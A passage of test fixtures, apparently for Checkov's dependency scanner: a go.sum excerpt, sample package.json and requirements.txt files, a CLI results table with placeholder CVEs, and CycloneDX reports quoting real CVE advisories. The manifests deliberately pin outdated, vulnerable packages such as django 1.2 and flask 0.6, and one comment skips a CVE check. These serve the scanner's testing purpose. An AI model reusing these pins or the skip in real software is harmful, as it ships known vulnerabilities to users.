v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20181011042414-1f849cf54d09/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190614205625-5aca471b1d59/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190920225731-5eefd052ad72/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200908211811-12e1bf57a112/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0 h1:po9/4sTYwZU9lPhi1tOrb4hCv3qrhiQ77LZfGa2OjwY= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gonum.org/v1/gonum v0.0.0-20190331200053-3d26580ed485/go.mod h1:2ltnJ7xHfj0zHS40VVPYEAAMTa3ZGguvHGBSJeRWqE0= gonum.org/v1/netlib v0.0.0-20190313105609-8cb42192e0e0/go.mod h1:wa6Ws7BG/ESfp6dHfk7C6KdzKA7wR7u/rKwOGE66zvw= gonum.org/v1/netlib v0.0.0-20190331212654-76723241ea4e/go.mod h1:kS+toOQn6AQKjmKJ7gzohV1XkqsFehRA2FbsbkopSuQ= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0 h1:KxkO13IPW4Lslp2bz+KHP2E3gtFlrIGNThxkZQ3g+4c= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190530194941-fb225487d101 h1:wuGevabY6r+ivPNagjUXGGxF+GqgMd+dBhjsxW4q9u4= google.golang.org/genproto v0.0.0-20190530194941-fb225487d101/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.22.0 h1:J0UbZOIrCAl+fpTOf8YLs4dJo8L/owV4LYVtAXQoPkw= google.golang.org/grpc v1.22.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.23.0 h1:4MY060fB1DLGMB/7MBTLnwQUY6+F09GEiz6SsrNqyzM= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= gopkg.in/alecthomas/kingpin.v2 v2.2.6 h1:jMFz6MfLP0/4fUyZle81rXUoxOBFi19VUFKVDOQfozc= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.38.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/square/go-jose.v2 v2.3.1 h1:SK5KegNXmKmqE342YYN2qPHEnUYeoMiXXl1poUlI+o4= gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= k8s.io/api v0.17.6/go.mod h1:1jKVwkj0UZ4huak/yRt3MFfU5wc32+B41SkNN5HhyFg= k8s.io/api v0.18.6 h1:osqrAXbOQjkKIWDTjrqxWQ3w0GkKb1KA1XkUGHHYpeE= k8s.io/api v0.18.6/go.mod h1:eeyxr+cwCjMdLAmr2W3RyDI0VvTawSg/3RFFBEnmZGI= k8s.io/apimachinery v0.17.6/go.mod h1:Lg8zZ5iC/O8UjCqW6DNhcQG2m4TdjF9kwG3891OWbbA= k8s.io/apimachinery v0.18.6 h1:RtFHnfGNfd1N0LeSrKCUznz5xtUP1elRGvHJbL3Ntag= k8s.io/apimachinery v0.18.6/go.mod h1:OaXp26zu/5J7p0f92ASynJa1pZo06YlV9fG7BoWbCko= k8s.io/client-go v0.17.6/go.mod h1:tX5eAbQR/Kbqv+5R93rzHQoyRnPjjW2mm9i0lXnW218= k8s.io/code-generator v0.17.6/go.mod h1:iiHz51+oTx+Z9D0vB3CH3O4HDDPWrvZyUgUYaIE9h9M= k8s.io/gengo v0.0.0-20190128074634-0689ccc1d7d6/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0= k8s.io/gengo v0.0.0-20190822140433-26a664648505/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0= k8s.io/klog v0.0.0-20181102134211-b9b56d5dfc92/go.mod h1:Gq+BEi5rUBO/HRz0bTSXDUcqjScdoY3a9IHpCEIOOfk= k8s.io/klog v0.3.0/go.mod h1:Gq+BEi5rUBO/HRz0bTSXDUcqjScdoY3a9IHpCEIOOfk= k8s.io/klog v1.0.0 h1:Pt+yjF5aB1xDSVbau4VsWe+dQNzA0qv1LlXdC2dF6Q8= k8s.io/klog v1.0.0/go.mod h1:4Bi6QPql/J/LkTDqv7R/cd3hPo4k2DG6Ptcz060Ez5I= k8s.io/kube-openapi v0.0.0-20200410145947-61e04a5be9a6/go.mod h1:GRQhZsXIAJ1xR0C9bd8UpWHZ5plfAS9fzPjJuQ6JL3E= k8s.io/kube-openapi v0.0.0-20200410145947-bcb3869e6f29/go.mod h1:F+5wygcW0wmRTnM3cOgIqGivxkwSWIWT5YdsDbeAOaU= k8s.io/utils v0.0.0-20191114184206-e782cd3c129f/go.mod h1:sZAwmy6armz5eXlNoLmJcl4F1QuKu7sr+mFQ0byX7Ew= layeh.com/gopher-json v0.0.0-20190114024228-97fed8db8427 h1:RZkKxMR3jbQxdCEcglq3j7wY3PRJIopAwBlx1RE71X0= layeh.com/gopher-json v0.0.0-20190114024228-97fed8db8427/go.mod h1:ivKkcY8Zxw5ba0jldhZCYYQfGdb2K6u9tbYK1AwMIBc= modernc.org/cc v1.0.0/go.mod h1:1Sk4//wdnYJiUIxnW8ddKpaOJCF37yAdqYnkxUpaYxw= modernc.org/golex v1.0.0/go.mod h1:b/QX9oBD/LhixY6NDh+IdGv17hgB+51fET1i2kPSmvk= modernc.org/mathutil v1.0.0/go.mod h1:wU0vUrJsVWBZ4P6e7xtFJEhFSNsfRLJ8H458uRjg03k= modernc.org/strutil v1.0.0/go.mod h1:lstksw84oURvj9y3tn8lGvRxyRC1S2+g5uuIzNfIOBs= modernc.org/xc v1.0.0/go.mod h1:mRNCo0bvLjGhHO9WsyuKVU4q0ceiDDDoEeWDJHrNx8I= sigs.k8s.io/structured-merge-diff/v2 v2.0.1/go.mod h1:Wb7vfKAodbKgf6tn1Kl0VvGj7mRH6DGaRcixXEJXTsE= sigs.k8s.io/structured-merge-diff/v3 v3.0.0-20200116222232-67a7b8c61874/go.mod h1:PlARxl6Hbt/+BC80dRLi1qAmnMqwqDg62YvvVkZjemw= sigs.k8s.io/structured-merge-diff/v3 v3.0.0 h1:dOmIZBMfhcHS09XZkMyUgkq5trg3/jRyJYFZUiaOp8E= sigs.k8s.io/structured-merge-diff/v3 v3.0.0/go.mod h1:PlARxl6Hbt/+BC80dRLi1qAmnMqwqDg62YvvVkZjemw= sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o= sigs.k8s.io/yaml v1.2.0 h1:kr/MCeFWJWTwyaHoR9c8EjH9OumOmoF9YGiZd7lFm/Q= sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= ================================================ FILE: tests/sca_package_2/examples/package.json ================================================ { "name": "angular-srcs", "version": "13.1.0-next.0", "private": true, "description": "Angular - a web framework for modern web apps", "homepage": "https://github.com/angular/angular", "bugs": "https://github.com/angular/angular/issues", "license": "MIT", "//engines-comment": "Keep this in sync with /aio/package.json and /aio/tools/examples/shared/package.json", "engines": { "node": "^12.20.0 || ^14.15.0 || >=16.10.0", "yarn": ">=1.22.4 <2", "npm": "Please use yarn instead of NPM to install dependencies" }, "repository": { "type": "git", "url": "https://github.com/angular/angular.git" }, "scripts": { "test": "bazelisk test --build_tag_filters=-view-engine-only --test_tag_filters=-view-engine-only" }, "dependencies": { "express": "3.0.0", "lodash": "3.1.0" } } ================================================ FILE: tests/sca_package_2/examples/requirements.txt ================================================ # checkov:skip=CVE-2016-6186: ignore it django==1.2 flask==0.6 requests==2.26.0 ================================================ FILE: tests/sca_package_2/outputs/cli_outputs/test_create_cli_table_for_package_with_reachability_data.txt ================================================ /requirements.txt - CVEs Summary: ┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐ │ Total CVEs: 4 │ critical: 1 │ high: 0 │ medium: 3 │ low: 0 │ skipped: 0 │ Total Packages Used: │ │ │ │ │ │ │ │ 3 │ ├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤ │ To fix 1/4 CVEs, go to your Prisma Cloud account │ ├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤ │ Package │ CVE ID │ Severity │ Current version │ Root fixed version │ Compliant version │ Reachability │ ├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤ │ package1 │ CVE-FAKE-111 │ CRITICAL │ 1.1.1 │ 1.11.27 │ 1.11.27 │ │ ├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤ │ package2 │ CVE-FAKE-222 │ MEDIUM │ 2.2.2 │ N/A │ N/A │ Package Used │ ├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤ │ package3 │ CVE-FAKE-333 │ MEDIUM │ 3.3.3 │ N/A │ N/A │ Reachable Function │ ├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤ │ package4 │ CVE-FAKE-444 │ MEDIUM │ 4.4.4 │ N/A │ N/A │ Reachable Function │ └──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘ ================================================ FILE: tests/sca_package_2/outputs/results_cyclonedx_1_0.xml ================================================ django 1.2 pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2 false flask 0.6 pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6 false github.com/dgrijalva/jwt-go v3.2.0 pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0 false github.com/miekg/dns v1.1.41 pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41 false github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90 false golang.org/x/crypto v0.0.1 pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1 false requests 2.26.0 pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0 false requests 2.26.0 pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0 false ================================================ FILE: tests/sca_package_2/outputs/results_cyclonedx_1_1.xml ================================================ django 1.2 OSI_BDS pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2 flask 0.6 DUMMY_OTHER_LICENSE OSI_APACHE pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6 github.com/dgrijalva/jwt-go v3.2.0 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0 github.com/miekg/dns v1.1.41 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41 github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90 golang.org/x/crypto v0.0.1 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0 ================================================ FILE: tests/sca_package_2/outputs/results_cyclonedx_1_2.xml ================================================ 2025-02-05T09:31:56.644237+00:00 CycloneDX cyclonedx-python-lib 7.6.2 bridgecrew checkov UNKNOWN django 1.2 OSI_BDS pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2 flask 0.6 DUMMY_OTHER_LICENSE OSI_APACHE pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6 github.com/dgrijalva/jwt-go v3.2.0 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0 github.com/miekg/dns v1.1.41 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41 github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90 golang.org/x/crypto v0.0.1 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0 ================================================ FILE: tests/sca_package_2/outputs/results_cyclonedx_1_3.xml ================================================ 2025-02-05T09:32:16.848085+00:00 CycloneDX cyclonedx-python-lib 7.6.2 bridgecrew checkov UNKNOWN django 1.2 OSI_BDS pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2 flask 0.6 DUMMY_OTHER_LICENSE OSI_APACHE pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6 github.com/dgrijalva/jwt-go v3.2.0 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0 github.com/miekg/dns v1.1.41 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41 github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90 golang.org/x/crypto v0.0.1 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0 ================================================ FILE: tests/sca_package_2/outputs/results_cyclonedx_1_4.xml ================================================ 2025-02-05T09:32:30.309106+00:00 CycloneDX cyclonedx-python-lib 7.6.2 https://github.com/CycloneDX/cyclonedx-python-lib/actions https://pypi.org/project/cyclonedx-python-lib/ https://cyclonedx-python-library.readthedocs.io/ https://github.com/CycloneDX/cyclonedx-python-lib/issues https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/LICENSE https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/CHANGELOG.md https://github.com/CycloneDX/cyclonedx-python-lib https://github.com/CycloneDX/cyclonedx-python-lib/#readme bridgecrew checkov UNKNOWN https://github.com/bridgecrewio/checkov/actions https://pypi.org/project/checkov/ https://www.checkov.io/1.Welcome/What%20is%20Checkov.html https://github.com/bridgecrewio/checkov/issues https://github.com/bridgecrewio/checkov/blob/master/LICENSE https://twitter.com/bridgecrewio https://github.com/bridgecrewio/checkov https://www.checkov.io/ django 1.2 OSI_BDS pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2 flask 0.6 DUMMY_OTHER_LICENSE OSI_APACHE pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6 github.com/dgrijalva/jwt-go v3.2.0 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0 github.com/miekg/dns v1.1.41 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41 github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90 golang.org/x/crypto v0.0.1 Unknown pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0 requests 2.26.0 OSI_APACHE pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0 CVE-2016-7401 https://nvd.nist.gov/vuln/detail/CVE-2016-7401 https://nvd.nist.gov/vuln/detail/CVE-2016-7401 7.5 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies. Fixed in 1.8.15 2016-10-03T20:59:00+02:00 pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2 CVE-2018-1000656 https://nvd.nist.gov/vuln/detail/CVE-2018-1000656 https://nvd.nist.gov/vuln/detail/CVE-2018-1000656 7.5 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083. Fixed in 0.12.3 2018-08-20T21:31:00+02:00 pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6 CVE-2019-19844 https://nvd.nist.gov/vuln/detail/CVE-2019-19844 https://nvd.nist.gov/vuln/detail/CVE-2019-19844 9.8 critical CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.) Fixed in 1.11.27 2019-12-18T20:15:00+01:00 pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2 CVE-2020-26160 https://nvd.nist.gov/vuln/detail/CVE-2020-26160 https://nvd.nist.gov/vuln/detail/CVE-2020-26160 7.7 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N jwt-go before 4.0.0-preview1 allows attackers to bypass intended access restrictions in situations with []string{} for m[\"aud\"] (which is allowed by the specification). Because the type assertion fails, \"\" is the value of aud. This is a security problem if the JWT token is presented to a service that lacks its own audience check. Fixed in 4.0.0rc1 2020-09-30T20:15:00+02:00 pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0 CVE-2020-29652 https://nvd.nist.gov/vuln/detail/CVE-2020-29652 https://nvd.nist.gov/vuln/detail/CVE-2020-29652 7.5 high CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers. Fixed in 0.0.2 2020-12-17T06:15:00+01:00 pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1 CVE-2021-33203 https://nvd.nist.gov/vuln/detail/CVE-2021-33203 https://nvd.nist.gov/vuln/detail/CVE-2021-33203 4.9 medium CVSSv3 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories. Fixed in 2.2.24 2021-06-08T20:15:00+02:00 pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2 ================================================ FILE: tests/sca_package_2/outputs/results_cyclonedx_with_comma_in_licenses.xml ================================================ 2022-11-14T14:21:28.086242+00:00 CycloneDX cyclonedx-python-lib 3.1.0 